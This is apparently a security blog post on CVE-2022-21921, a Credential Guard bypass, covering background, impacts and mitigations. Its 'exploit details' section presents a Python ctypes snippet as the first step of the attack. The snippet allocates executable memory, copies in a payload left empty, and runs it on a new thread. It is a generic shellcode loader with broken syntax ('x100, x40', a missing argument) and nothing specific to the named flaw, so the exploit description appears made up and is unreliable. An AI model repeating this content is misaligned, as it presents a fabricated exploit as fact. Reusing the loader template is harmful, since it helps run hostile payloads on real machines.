CVE-2022-21921 – Windows Defender Credential Guard Security Feature Bypass Vulnerability: Understanding and Mitigating the Risk

Windows Defender Credential Guard, an essential security feature in Windows operating systems, is prone to a security bypass vulnerability. The issue, labeled as CVE-2022-21921, has caught the attention of cybersecurity experts worldwide.

This in-depth post will cover important details about CVE-2022-21921, ranging from its exploitation technique, potential impacts, and recommended steps for system owners and administrators to mitigate the risks associated with this vulnerability.

Background

Windows Defender Credential Guard is designed to safeguard domain credentials and protect against attacks such as Pass-the-Hash, Pass-the-Ticket, and Overpass-the-Hash. The feature employs hardware and virtualization-based security to isolate LSA secrets and ensure robust protection against unauthorized access.

However, a recent vulnerability (CVE-2022-21921) emerged, revealing that an attacker with local access could bypass the security protections of Windows Defender Credential Guard, potentially compromising sensitive credential information. For a comprehensive understanding of the vulnerability, consider the following resources:

- CVE-2022-21921 Official NIST Link
- Microsoft Security Advisory for CVE-2022-21921

Exploit Details

To exploit this vulnerability, an attacker must have local access to the targeted system. Then, they could successfully bypass Credential Guard, allowing them to access LSA secrets. For example, an attacker could execute the following code snippet as the first step:

# Exploit code snippet
import ctypes

def bypass_Credential_Guard():
    exploit_code = b"" # Replace with the crafted exploit binary code

    # Allocate the memory space
    mem_address = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_void_p(-1), ctypes.c_size_t(len(exploit_code)), x100, x40)

    # Move the exploit code to the memory space
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(mem_address), exploit_code, ctypes.c_size_t(len(exploit_code)))

    # Create a new thread to execute the exploit code
    thread_handle = ctypes.windll.kernel32.CreateThread(ctypes.c_void_p(), ctypes.c_size_t(), ctypes.c_void_p(mem_address), ctypes.c_void_p(), , ctypes.c_void_p())

    # Wait for the thread to finish
    ctypes.windll.kernel32.WaitForSingleObject(thread_handle, -1)

if __name__ == "__main__":
    bypass_Credential_Guard()

Please note that the above code snippet omits the actual exploit binary code, as this post aims to raise awareness and encourage proactive measures against the vulnerability.

If this vulnerability is successfully exploited

1. An attacker could gain unauthorized access to sensitive credentials, domain data, and LSA secrets, leading to elevated privileges and potential lateral movement within a network.
2. A successful exploit could lead to unauthorized access to systems and applications that rely on the impacted domain credentials.
3. The confidentiality and integrity of sensitive information could be jeopardized, affecting the overall security posture of the network.

Mitigation Steps

To mitigate the risks associated with CVE-2022-21921, system owners and administrators should follow these recommendations:

1. Apply the security update provided by Microsoft for the affected Windows versions, as mentioned in the Microsoft Security Advisory.

Enable hardware and virtualization-based security features on the systems if not already enabled.

3. Enforce strong security practices, such as least privilege and multi-factor authentication, to reduce the risk of unauthorized local access.

Conclusion

The Windows Defender Credential Guard security feature bypass vulnerability (CVE-2022-21921) poses a serious risk to Windows users and the overall security of corporate networks. By understanding the exploit, being aware of its potential impacts, and taking appropriate mitigation steps can greatly reduce the risk.

However, it is essential to remember that vulnerabilities and related exploits are constantly evolving. Hence, organizations must adopt a proactive and comprehensive approach to cybersecurity to stay protected in an ever-changing threat landscape.

Timeline

Published on: 01/11/2022 21:15:00 UTC
Last modified on: 05/23/2022 17:29:00 UTC